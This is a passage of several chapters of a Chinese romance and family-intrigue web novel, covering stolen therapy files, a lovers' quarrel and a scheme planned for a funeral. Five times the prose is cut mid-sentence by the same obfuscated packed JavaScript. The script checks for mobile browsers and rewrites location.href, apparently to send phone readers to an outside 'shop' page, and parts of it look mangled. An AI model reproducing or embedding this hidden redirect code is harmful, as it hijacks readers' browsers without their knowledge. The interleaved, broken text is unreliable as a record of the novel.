沈月汐的脸越来越白,记忆里的那种腥臭味让她直犯恶心,也更加害怕。 仅仅只是吓唬姜梨,江淮之就疯成那样………那这一次,江淮之就更不会放过她了! 他会弄死她的……… “妈!你一定要救救我!江淮之他肯定不会放过我的!他真的会弄死我的!”沈月汐抓着楚云衣摆的手更加用力,抬头泪眼婆娑的看她,“还有姜梨,她如果真的拿到了证据,一定会报警的……….妈!我不想坐牢!” 楚云:“除了说过林宴被我们从牢里接出来的事情,你还说了其他的吗?” 沈月汐立刻摇头,否认。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293862|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还好只是说了这一件,楚云微微松了一口气,然后把沈月汐从地上扶了起来,扯出几张纸巾擦掉她脸上的泪痕。 语气也缓和了一些,“那几句话证明不了什么,姜梨就算是去报警了也没有用。” “至于江淮之那边,我会处理好。”楚云想到沈月汐刚刚说的那些,眼底暗了暗,“沈家的佣人和管家我会重新换一批,你这几天哪里也不要去,好好待在家里,不要再这么莽撞,也不要再去惹姜梨了,明白吗?” 沈月汐抽搭了一下,吸了吸鼻子,哑声应了一声。 —— 司家召开记者发布会的前一天晚上,樱洲下着大雨。 姜梨坐在沙发上,摘下口罩,贴着纱布的脸上遍布着许多瘆人的红疹,一点一点连成一片,一直蔓延至脖颈。 洛骞看着她,眼皮狠狠跳了一下。 “我就是,睡不着,然后多吃了几片药……”姜梨忍着全身的痒意,不敢跟洛骞对视。 “你就是怕我下班以后回家太闲了,非要在大半夜给我找点事做。”洛骞被气的不轻,脸色一瞬间就沉了下来,“你是第一天吃这些药吗?我有没有告诉过你不能乱加?我有没有跟你讲过多加半片都可能会造成很严重的后果?我有没有跟你讲过,吃多了会起皮疹?” “那我能怎么办!”姜梨眉头一皱,脾气也上来了,“我要是能睡着,我会去多吃吗?” “说到底,就是你调整的剂量有问题!” 自己做错事,还反过来怪他? 他调整的剂量有问题?她是怎么说出来这种话的! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第74章 她不能触碰的秘密 姜梨安静的坐在位置上,好几次因为太痒想要挠脸都被洛骞吼了回去。她只能强忍着那股瘙痒,表情惨兮兮的。 眼睛开始打量着周围的环境,洛骞的这套公寓不算大,总是若有若无的弥漫着一股药味,感觉冰冰凉凉的,有些冷。 跟医院似的。 “我问你个事呗。”姜梨看向在摆弄电脑的人,眼睛微微闪了闪,“江淮之说,我跟你在国外的时候,他也在。” “哦?”洛骞一顿,眉梢轻佻,“我还以为他那张嘴是摆设,原来不是啊,还是会说话的。” 姜梨又不高兴了,“我都那个样子了,干嘛不告诉我?” 那段时间,是她这辈子度过的最难熬,最难忘记的时光,真的是度秒如年! 眼睛失明,视觉和心理都是一片无尽的黑暗,毫无安全感,有的只有濒死感。 那三个月,她几乎不怎么说话,但是只要一开口说话,全部都是关于江淮之。 “我要见江淮之。” “江淮之来了吗?” 这两句话都要被她说烂了,到最后她都以为江淮之没有来过,甚至认为他都不知道发生了什么。 洛骞一脸无辜,但说出来的话却很欠,“你后来不是也没问吗?” 姜梨被他这句话气得想直接拿起桌子上的玻璃杯,一杯水泼到他那张脸上去。 一个姜祈安,一个江淮之,再加上一个洛骞。 这三个老男人的嘴里就没有一句真话! 刚好电话响了,姜梨点的外卖到了,在小区门口,保安不放行。 “洛骞哥。”姜梨收起刚刚咬牙切齿的表情,一脸谄媚的看着洛骞,“你帮我拿一下好不好?” 姜梨其实很少叫他这个称呼,但是只要她叫了,那必定没什么好事情。 “等着。” 洛骞合上电脑,拿着伞出了门。 听到门上锁的声音,姜梨等了一分钟,然后眼神一敛,快速的掀开电脑,凭着刚刚观察到的洛骞手指的动作,准确无误的输入密码,插上一枚u盘。 眼睛紧紧盯着屏幕,耳朵也在听着外面的动静,精神高度紧张,手心都出了一层汗意。 她找到洛骞平时储存的诊疗视频的文件夹,点了进去。南诗奕在洛骞这里看病已经是好几年前,姜梨拉到最底下,终于找到了。 随便扫了一眼,然后将文件传进了u盘。 突然她的瞳孔缩了一下,在最底部,看到了两个文件夹。 一个文件夹的署名是司韩野。 另一个,则是姜梨和林遥。 文件上的储存时间非常久远,已经是在遥远的十二年前。 她那个时候才9岁,甚至都还不认识洛骞,怎么可能会在他这里来看病呢!? 还有,林遥又是怎么回事?她生过病吗? 洛骞又怎么会把她和林遥的诊疗记录放在一起?她第一次见到林遥,是在和江淮之认识的同一年,也就是11岁。 绝对不可能是在九岁。 还有那个叫司韩野的,这个名字好耳熟,总是觉得在哪里听过。 姜梨的脑子乱成了浆糊,心脏开始狂跳起来,双击点进文件夹,却显示需要输入密码。 她试了一下开机的密码,跳出来密码错误四个字。 姜梨还想再试,手机却响了,是陆临发过来的信息。 “我拖的时间够久了,你应该好了吧?洛骞已经上楼了。” “我在门口等你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293863|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有关南诗奕的文件已经传输结束,姜梨咬了咬牙,只能拔下u盘,关掉文件,然后合上电脑。 她擦了一下鼻尖的汗,坐回了原位,给陆临回了一个“OK”的手势。 姜梨今天就是故意演的这一场戏,点外卖是假的,说外卖送不进来也是假的,她早就跟陆临串通好了,让他假扮外卖员拖住洛骞来给她争取偷视频文件的时间。 却没想到会在他的电脑里发现其他的秘密。 这么多文件夹都不加密,偏偏那两个需要加密,足以证明那两个文件夹里的东西有多重要,又有多不能见人。 姜梨垂下眼皮,大脑飞速运转。 其实,她在九岁的时候就认识洛骞和林遥也不是不可能,在这段时间她生过一场大病,记忆全是空白的。 她童年的记忆停留在七岁时,楚云和他爸离婚的那一天,楚云不愿意要她,最后法院把姜梨判给了姜铭生。 再往后发生的所有事情,她都不记得。 姜梨是全凭姜祈安的描述,来知道这段空白的记忆里发生了什么事情。 比如姜铭生待她并不好,他却从不说到底是如何不好,只说姜铭生因酗酒过度不幸去世之后,楚云一心扑在沈月汐身上,并没有悉心照顾她才导致她生病。 姜祈安成年后的第一件事就是自立门户,脱离楚云的掌控,拿到了姜梨的抚养权。 再比如,她其实早就生病了,也早就见过洛骞。姜祈安和洛骞的关系本来就不一般,他有多厉害、在国外有多出名姜梨是知道的。 洛骞用了某种治疗手段来让她失忆,然后帮着姜祈安一起骗她也不是没可能。 本小章还未完 ,请点击下一页继续阅读后面精彩内容! 第75章 会有人接你去葬礼的 空气里还残存着食物的味道,让洛骞狠狠皱了一下眉,捏着鼻子扇风,走到阳台把窗户打开通风。 然后在桌子上倒了一点酒精,来回擦了好几遍,又喷了一点空气清新剂掩盖住那股味道。 洛骞这才满意的松了口气,重新坐回沙发上,然后掀开电脑处理公事。 “你们那张嘴啊,吐不出一句真话的。” 脑子里突然想起来姜梨说的这句话,敲击键盘的手猛地停了下来,眼神沉了下来。 姜梨怎么会突然说出这么一句话? 他刚刚不在的时候,她动过电脑了吗?姜梨是发现什么了吗? 洛骞查看了一下电脑上的网页浏览记录以及文件夹的浏览记录,除了他自己的使用痕迹,并没有其他的异样。 电脑有密码,重要的文件夹也加了密,姜梨不可能打开。 应该是他想太多了。 不过,今天这件事还是要跟江淮之说一下。 姜梨今天是只多吃了三颗,那下次呢?万一她发疯,去吃了一把怎么办? 打开微信,点进和江淮之的对话框,简单阐述了一下今晚的这档子事。 过了大约十分钟,江淮之才回复了洛骞一个“嗯”字。 …… 姜梨手遮在头顶挡雨,刚出单元楼就又开始下暴雨,小跑着出了小区,眯着眼睛找了半天都没找到陆临在哪。 正要拿手机给他发信息的时候,路边停着的一辆黑车突然亮起了车灯,紧接着就听到了陆临喊了她一声。 快步跑过去,迅速拉开车门钻进车里。 缓了好一会,重重的吐出来一口浊气,抹了一把脸上沾上的雨水。 陆临递了一张纸巾过去,看着她脸上的那些红疹,“啧”了一声,“这么漂亮的脸长在你这么狠心的主人身上,还真是受罪。” 他也是没想到,姜梨会给自己下“毒”。 这小姑娘看着文文弱弱的,手段倒是挺狠。 “你拿去给苏阿姨,视频很多,让她挑选几个重点片段。”姜梨没回答他这句调侃的话,从口袋里摸出那枚u盘递给陆临,“我已经跟她打过电话了,她会在老宅后门等你的。” 陆临没有接,“我一个人去?” 姜梨:“难不成你一个快三十的男人还需要我陪你去吗?” “我他妈才二十五,哪里快三十了?”陆临磨了磨后槽牙,然后莫名冷笑了一声:“你究竟是害怕见到江淮之呢,还是害怕看到他和他那个小情人你侬我侬?” 姜梨丝毫没有被拆穿的慌乱,眼睛直直的盯着他,扯了一个合情合理的理由:“我大二,就算今天是周五,学校宿舍也会有门禁,现在已经快九点了,我必须在十点之前回到寝室。” 陆临倒也不是非要让她去,停顿了一下,然后伸手将那枚u盘接过来,温热的指腹无意划过她冰凉的指间,微微抖了一下。 轻吸一口气,快速的将u盘放进了口袋,然后启动车子,“在我这你就别装了,我可是亲眼目睹过伪姐弟之间的三角恋的,一眼就能看出来那点猫腻。” “就这么说吧,你要是对江淮之没有非分之想,我就不姓陆了,改跟你姓姜。” 姜梨没否认,索性直接默认了。 反正她喜欢江淮之这件事,是个人都能看得出来,连沈家人都知道的东西也没必要藏着掖着。 还好陆临只是知道她喜欢江淮之,不知道其他的。 姜梨微微松了口气,然后心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293864|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又开始觉得郁闷起来。 别人都能看得出来,她喜欢他。 那江淮之呢?别人也会觉得他喜欢她吗? 答案是不会,在别人眼里,从来都是她对他有非分之想,如果真的喜欢一个人,又怎么会藏得住? 说爱她,也不过就是在哄她而已。 男人的嘴啊,骗人的鬼啊。 —— 九点十分,车子停在了学校门口。姜梨拉开车门,准备下车。 校门口亮着两盏昏黄的路灯,因为下大雨,没有学生和其他行人。静悄悄的,能听到树叶被风吹过的“沙沙”声。 陆临微微抬眸,一眼就看到了停在不远处的一辆库里南,黑色的车身隐在夜色中,眼神不好还真注意不到。 他的眉毛扬起,然后无声的扯了扯唇,一把拉住了姜梨的手腕,“急什么?还有事没跟你说。” “什么?”姜梨的手腕冰凉,陌生的温热感让她有些不自在,手腕下意识往外抽了一下,没能抽出来。 陆临的手微微松了松,“u盘里除了南诗奕的诊疗视频外,还有别的东西吗?” 姜梨眼底暗了一下,嗯了一声。 怕他误会她是想使坏,解释了一句:“不过是南诗奕拍的一个视频而已,不会坏明天的事。” “嗤。”陆临勾唇,“我又不是你,没有重到离谱的防备心。对于你,这点信任我还是有的。” “你………” “哔——!” 姜梨刚想要说话,就被突然响起来的一道刺耳的喇叭声吓了一大跳,有些惊慌的朝着声源处看了过去。 小主,这个章节后面还有哦,请点击下一页继续阅读, 后面更精彩! 第76章 打了他一巴掌 姜梨现在其实并不想搭理江淮之,她还在生气,不然今天也不会不回秋水湾了。 她要硬气一点,她应该转身就走的。 但是,脑子会不受控制的想到姜祈安。 就因为她过于硬气,直到他死于意外,兄妹两个人都没能和解。 遗憾,苦涩,悲伤,后悔。 四种情绪交织在一起,扭成了一根粗壮的麻绳,无时无刻在勒着她的心脏,越来越紧,是极致的痛。 姜梨上了副驾驶,关上门。 狭小的空间里,弥漫着浓烈的烟草味,有点呛。 她从来没有见过江淮之抽烟,更不知道他烟瘾会这么大。 姜梨拢了一下衣领,微微低下头,声线有些冷:“有事可以打电话,不用过来。” 江淮之扔掉烟头,过了好一会,味道散了些才关上车窗,隔绝掉外面钻进来的冷空气。 看了一眼她空空如也的十指,声音有些哑,“你没有接。” 他在收到洛骞信息前的十分钟,就已经来学校了,发微信给她没有回,然后连着给她打了三通电话,都杳无音讯。 原本以为她是生气不愿意接,没想到她是因为忙着干坏事,所以没空接。 姜梨愣了一下,显然不知道这回事,然后摸出手机看了一眼,还真有来自江淮之的三通未接电话,时间刚好是她从洛骞家出来的时候打的。 应该是不小心碰到了静音键,才没有听到。 透过手机屏幕的白光,江淮之能清晰的看到她脸上冒出来的大片红疹,姜梨皮肤是冷白,脸上贴着白色的纱布,显得那些红点有些瘆人。 真是越来越胆大妄为了。 “除了脸上和手,还有其他地方有伤吗?”江淮之抬起手,轻轻碰了一下她脸上的红疹,黑眸微眯:“还有这个,是怎么回事?” 他的那双手,抱过别人。 姜梨躲开他的触碰,语气生硬:“没有别的伤,洛骞已经处理过了。宿舍有门禁,没有别的事情我就先回去了。” 江淮之把手收了回去,深深的看了她一眼,知道她心里还有气,暂时不跟她计较乱吃药的事情,转到了另一个话题:“我是受到了沈翊的提醒,才通知叶止和陆七还有简清时来救你。那么谢鹤扬是怎么回事?他比我们几个还要早到,是你自己向他求救的吗?你为什么又总是跟陆临在一起?” “总是喜欢跟这些危险的人搅和在一起,我说的话你是一句也记不住是吗?” 姜梨一直憋着的那股怒意因为他这番话瞬间倾泻而出,已经没办法再去思考他话里的信息量,又气又委屈。 江淮之今天会过来,不是为了要跟她解释什么,而是来责问她的是吗? “我在沈家安排了眼线,是她听到了沈月汐想要杀我,然后通知了谢鹤扬来救我。至于我会和陆临在一起,是因为南诗奕的遗物在他手里。”姜梨看向他,反问:“那么你呢?你能跟我说句实话吗?” 在沈家安排的眼线?除了沈翊之外,她还有其他的帮手,真是好厉害的妹妹啊。 江淮之眸光闪了闪,没有再去跟她纠结这些一查就知道的问题,他转动了一下拇指上的那枚玉板指,“你想听什么?” “你现在是要把时愿养在身边吗?”姜梨又想到在洛骞电脑里看到的那些东西,顿了一下,她的眼睛直直的看向他,语气和神情都是前所未有的认真,“你骗过我吗?” 江淮之转戒指的手顿住了,喉结上下滚了一下,“你是我唯一的爱人。” 答非所问,就是默认,他的确在骗她。 “爱我?”姜梨笑了起来,声音轻柔,“那我要你把时愿送走,再也不要跟她来往。” “我讨厌她,很讨厌。” 只要他说一句“好”,姜梨就会原谅他骗过她的所有事情,甚至是配合他,装作若无其事,装作什么都不知道。 就跟以前一样。 一分钟,两分钟,江淮之没有再说一句话。 他没有说好,也没有说不好。姜梨却已经在他沉默的这两分钟里,听到了他的答案。 车窗是关上的,车里的温度也没有很低,但是姜梨就是觉得空气都在结冰,冷的刺骨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293865|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江淮之的反应犹如一盆冷水泼在了姜梨的心上,心里残存的那点期待也被他彻底浇灭。 姜梨脸上的笑慢慢收了起来,眼里的温度褪去,看着他的目光变得无比清冷。 没有一点犹豫,拉开车门下车,头也不回的快步往学校门口走。 身后传来脚步声,下一秒极大的力道拉住了她的手腕,江淮之把她抱在怀里,她的鼻尖贴在他的胸口处,雪松香混着烟草味的气息直往鼻间钻。 姜梨的眼圈发红,伸出手用力的推搡,“你放开我!别碰我!” 不想要他碰,不想要跟他亲近! 江淮之的一条胳膊紧紧箍着她的腰,脊背微弯,下巴抵在她的肩膀上,“给我一点时间,我会处理好。” “你乖一点好不好?” 姜梨不愿意听他这些话,为什么他需要一点时间?送走一个人很难吗?说实话很难吗? 是因为江淮之心里放下时愿,所以他才 需要时间。而且,他在骗她,还不止一件事。 用力推开他,姜梨抬手一巴掌甩在了江淮之的脸上,发出“啪”的一声脆响,让两个人都愣了一下。 姜梨在打上去的时候收了点力道,这一耳光并没有多重,却还是打得江淮之偏了头,侧脸上有些隐隐发红。 也不知道是气的,还是怕的,她一连后退了好几步。 姜梨觉得,这是她做过的最出格的事情,比十七岁那年主动吻他更为严重。 他这辈子恐怕都没有被人这么冒犯过,姜梨这样,跟骑在老虎头上拔毛没什么区别。 她既害怕,又觉得是江淮之活该,颤着声音开口:“既然什么都不愿意告诉我,你又凭什么来要求我乖?我是宠物吗?” 江淮之的舌尖顶了一下腮帮,然后抬眸看向姜梨,眸色深不见底。 姜梨一连后退了好几步,和他拉来数米远,咬了咬牙,“你要是不愿意说实话,就不要再来找我!吐不出实话的嘴也还是闭上的好!” 说完,姜梨没再看江淮之,小跑着跑进了学校,背影融进夜色,消失不见。 第77章 司家男人眼光很差 司家老宅门口,时愿站在铁门的门口,一双眼睛眼巴巴的盯着前方的一片漆黑。 她住的那栋小楼,刚好可以看到老宅的大门口。不久之前,便看到江淮之开着车离开了,也没有来看过她。 几乎是江淮之刚走,她就已经站在这里等了。苏菱看到后,来劝了好多次,让她回小楼里等,江淮之今晚也不一定会回来。 时愿礼貌的应声,却始终不愿意走,几次之后,苏菱也就不再劝她,由她去了。 这时,两束车灯刺破了黑暗,时愿的眼睛瞬间亮了起来,脸上扬起来灿烂的笑。 车子停下来,时愿看着车牌和车子的型号,来的人并不是江淮之。 雀跃的心情又低落下去。 陆临从车上下来,看到站在门口的女人,一下子就知道这是江淮之带回来的那个,名字叫时愿的前女友。 打量了两眼,目光微微顿了顿,然后眉心蹙了起来。 这个女人,跟姜梨长得很像,尤其是那一双眼睛,简直就是一个模版刻出来的一样。 陆临的目光太过强烈,时愿显得有些局促,抬头看向他,苍白的脸上带着些许惊慌。 像是被他吓到了一般。 嗤,不过就是看了两眼就吓成这样,不知道的还以为他对她做了什么事呢。 既然娇气成这样,怎么没被司家那个老头给吓疯? 他轻扫了时愿一眼,嘴角讥讽的扯了扯,漠然的收回视线,迈开长腿,直接从正门走进了宅子。 管家开门,见来人是陆临,恭敬的喊了他一声:“陆临少爷。” “四少爷在等您,他身体不便亲自下楼,让我带您上去。” 陆临笑了笑,淡淡道:“无妨。” 这是陆临找的一个借口,看望司南泽是假,实则是为了给苏菱送u盘。 姜梨不来,他自然也不用为了避开司家人而偷偷摸摸的去什么后门。 管家引着陆临上了三楼,站定在了一处门前,然后退了下去。 陆临抬手敲了三下门,听到里面的人说了一声“进”,他才推门进去。 房间里漆黑一片,司南泽并没有开灯,窗户打开,冷风不断从外面吹进来,一整个房间都弥漫着湿冷的寒意。 司南泽站在窗前,身上穿的单薄,身形无比削瘦。 陆临皱了皱眉,伸手开了灯,忍不住提醒他:“小心寒气入体,会一病不起。” 司南泽顺着声源偏了头,那双眼睛空洞没有聚焦,泛白的嘴唇微微勾起一抹弧度,“倒也不至于体弱到弱不禁风的地步,陆四少今天怎么有兴致来找我?” “司家和陆家本就是世交,这几天又接二连三的出事,又许久不见你,刚好是寒冬季节,担心你的身体状况,就想来看看。”陆临轻笑,毫不客气的坐在了一张木椅上,饶有兴致的看着司南泽,“你这是为了什么事情烦心?这么糟蹋自己还拖着伤病的身体。” “你想太多,我只是喜欢听雨声。”司南泽不再看着他的方向,重新面向窗户,轻笑了一声,然后道:“好听的也不止雨声,不知道陆四少能不能跟我形容一下,我大哥带回来的那个女孩的长相?” 司南泽笑的更深,喟叹了一声:“她的声音很好听。” 陆临看着他这副模样,嘴角抽搐了一下,心里一阵恶寒。 这是跟他大哥看上了同一个女人?司南泽不仅身体有病,心理也有病吗? “你们眼光还真是差。”陆临啧了一声,然后开始形容起时愿的长相,“长得还算好看,最漂亮的当属那双桃花眼。肤色挺白,身高大概一六五吧。” “你都形容的那么漂亮了,怎么还说我们眼光不好?” 陆临觉得背后蛐蛐一个姑娘性格矫揉造作不太好,还是人家有好感的一个姑娘。想了想,找了一个理由:“可能是,我见过比她更漂亮的,比如姜二小姐就比她好看的多。” 司南泽的手伸到窗外,冰凉的雨落在掌心,声音极轻的说了几个字,陆临没能听清楚。 这时老宅门口又响起来引擎的声音,紧接着两个人便听到了时愿的声音,“阿野!” 陆临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293866|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眉梢挑了一下,是江淮之回来了。 哄完妹妹,又来哄白月光。 江总还挺忙啊。 看了眼时间,陆临站了起来,“时间不早了,我就不在这坏你兴致了。” 司南泽没再说话,双眸根据听到的声音,准确无误的看在了楼下那对男女身上,唇角微扬。 —— 姜梨洗漱完,拿着一管药膏费劲的往后背胡乱的抹了几下,吃了洛骞给她开的内服药。 许雾回家了,宿舍里静悄悄的。姜梨摸出手机,熟练的输了一串号码,给那个神秘人打去了一通电话。 “你没事吧?”电话刚接通,男人就率先开口了:“我这段时间都在北城,意外发现沈月汐找了私家侦探,但是时间太紧迫,没来得及通知你。” 姜梨眼神闪了闪,“我没事,我在沈家安排了一个女佣,名字叫小栎,她想办法通知了谢鹤扬他们来救我。” 男人惊了一下:“你说什么?!你在沈家有人?” “现在不是说 这个的时候。”姜梨停顿了几秒,然后说出了自己的安排:“沈月汐虽蠢,但好歹也是楚云一手带大的女儿,恐怕已经怀疑沈家有奸细了,我怕她们会查到小栎身上。你想办法把她从沈家弄出来,然后带她来樱洲,我和她商量完最后一件事以后,再把她送回港城。” “我已经跟她通过信了,她会跟你走。” 男人沉声应了下来:“明白了。” 电话被挂断,姜梨的眼神微微沉了下来。 明天,是司家举办葬礼的日子,司老爷子去世是一件大事,沈家全家都会出席。 她拉开书桌的抽屉,从里面翻出来一个被塑料薄膜封存的一枚打火机,嘴角扬起来一抹意味深长的笑。 那个在她脑子里演示了好几百遍的计划,明天就可以开始实施了。 她倒是想看看,在唯利是图的楚云眼里,究竟是沈月汐重要,还是钱财和权利更重要。 如果她选了沈月汐,那么在她的心里,沈月汐又能值多少钱。 第78章 梨小姐还认得我吗 时愿双手举着伞,高过江淮之的头顶,微微倾斜。她仰起脸看着江淮之,眼睛亮晶晶的,像掺了碎钻。 江淮之侧脸上的红印还没有消,清晰的印在上面,时愿一眼就看出来那是巴掌印,然后愣住了。 他刚刚去见了谁?那个人居然有这么大的胆子,敢这样往江淮之的脸上招呼? 时愿伸手就要去碰他的脸,江淮之眼神一凛,躲开,嗓音冷冽,“在这做什么?” 时愿把手收了回来,小声的说道:“等你。” “下雨路滑,你身上的伤还没好透,我回来了自然会去看你。”江淮之脸上挂着点笑,声音温和如溪水,好看的凤眸微弯,“明天是爷爷的葬礼,司家最近也很乱,我很忙。没有那么多的心力对你事事有回应,你明白么?” “今天这种事,下次别再做了。” 时愿看着他那双过分温柔深情的眼睛,心口有些发热,点头轻声“嗯”了一下,声音又细又软,“我知道了。” 江淮之,“快回小楼吧,别着凉了。” 时愿应声,打着伞离开。 司南泽听二人的对话到此结束,也随之关上了窗户,坐到床边,手掌移到床头柜,摸到了一个冰凉的金属u盘,手指细细的摩擦。 江淮之上了二楼,回到了房间里,随后拨通了一个电话。 “我让你查的事情,有眉目了吗?” 电话另一头的男人似是轻笑了一声,然后徐徐开口:“这个女人在和她母亲去司家工作之前,一直都在江城生活,还跟咱们在同一所学校呢,原名叫时鸢,比我们小两届。” “她爸爸是吸毒过量去世的,没过多久她妈就经人介绍去了司家工作,她也跟着去了。至于其他的,痕迹都被抹的差不多了,没查出什么门道。” 电话另一头的男人最后又补了一句:“可以确定的是,她整过容,我一会把照片传给你,你自己辨认一下是不是认识。” 江淮之淡淡应了一声,“谢谢折哥。” “哟~”宋折拖着点尾音,有些不正经,“我有生之年里居然能从司韩野嘴里听到谢谢两个字,真是稀奇。” 江淮之不理会他这句略带阴阳的话,而是问他:“陆七和简清时都给我封了红包了,你的那份什么时候给我?” 宋折疑惑的“哈”了一声,“给你封红包做什么?烧给你家那个刚死的缺德老头的?你现在不仅被同化成了讲礼貌的绅士,还他妈被同化成了以德报怨的好孙子?” 他这话怎么听都像是在骂人,宋折都已经准备好要被江淮之怼了,谁曾想他不仅没骂他,反而还笑了,不用看到他这个人宋折也能知道,江淮之的心情非常好。 “我和姜梨的新婚礼,你什么时候补给我?” “………?”宋折听他这句话,愣了足足两分钟,然后鲤鱼打挺似的从床上坐了起来,“不是,你说你和谁新婚?姜………姜梨?!” “嗯。” 宋折:“陆七和简清时真的没有骂你是个畜生,还给你封红包?哪个姑娘会嫁给一个把自己吓哭的混混的?你他妈骗婚了吧?” 骗?确实是骗了。 江淮之的确是吓唬了她几句,抛了几个条件,让姜梨不得不去跟他领证结婚。 但是那又如何? 他本身就不是什么光明磊落的好东西,只要能把她留在身边,怎么样都可以。 “记得封红包。” 江淮之哼笑,说完这句话后,直接挂断了电话。 他摸了一下侧脸,似乎还有姜梨残存的余温。 姜梨打下来的力道对于她来说已经用尽了全力,但是江淮之并没有觉得有多痛。他甚至还想捏着她的手腕,让她再多打两下,只要她能消气。 但是姜梨大概率会被他吓到,然后大骂他是个老变态,最后再躲他躲得远远的……… 洛骞说姜梨只多吃了三片,并不算多,红疹也不算严重,好好抹药两天后就可以褪下去。 也不知道她回去以后,敢不敢找人给她抹药。想给她发信息提醒,又怕再激怒她,忍了下来。 江淮之闭了闭眼,摸出烟盒,原本还剩大半盒的烟现在只剩下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293867|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一支。他的烟瘾其实不算大,很少像今晚这样一次性抽半包。 抽出来最后一根烟,空掉的烟盒扔进了垃圾桶,点燃后猛抽了一口,淡蓝色的烟雾散开,看不清他的神情。 —— 姜梨第二天是被闹钟叫醒的。 洛骞开的药很管用,姜梨对着镜子,微微拉开衣领查看,昨晚还很严重的红疹已经褪了大半,也没有那么瘙痒难耐了。 被江淮之弄出来的吻痕倒是一点都没淡,还是红艳艳的,不管看多少次,都还是觉得吓人。 想起昨天晚上那一巴掌,姜梨总觉得掌心火辣辣的,像有火在烧。 老变态,老骗子,老渣男。 谁让他在她还在气头上的时候还要来招惹她的?他活该!活该! 姜梨狠狠磨了一下后槽牙,拉好衣领,米白色的高领的薄毛衣刚好能完全遮挡住那些印记。 眼神瞟到了放在一边的香水,这还是阮经颜之前送给她的生日礼物,因为实在是太 香了,她都没有用过几次。 抿了一下嘴唇,她拿起来,稍稍在手腕和耳处喷了一些。 接到陆临的电话时,已经是快中午的时候了,她理了一下披散下来有些凌乱的头发,从抽屉里拿出来那个打火机放进了外套的口袋里,还有她的身份证和银行卡。 拿过旁边的一把黑伞,走出了宿舍。 入冬的樱洲本就冷,再加上已经下了好几天的雨,更是冷的刺骨,寒意透过皮肤钻进血液里,冻得姜梨骨头都无比僵硬,膝盖又在隐隐作痛。 姜梨没有刻意迎合这场葬礼而特意去穿沉重的一身黑,她挑了一件蓝色的大衣,一条简单的牛仔裤,围了一条奶白色的围巾。 打着伞走到了学校门口,看到了一辆低调的黑色轿车,深吸了一口气走过去,敲了敲车窗。 后座的车门被人从里面打开,姜梨看到坐在里面的人,直接愣在了原地。 一个约莫四十岁的女人和她四目相对,对方忍不住笑了起来,红唇轻启,“好久不见,梨小姐还认得我吗?” 第79章 司家男人克妻 姜梨木讷的喊了一声:“娜姐。” 南诗奕是当红明星,姜梨跟她亲近,她身边的助理和经纪人她都见过,眼前的这个女人就是当初带红南诗奕的经纪人,娜姐。 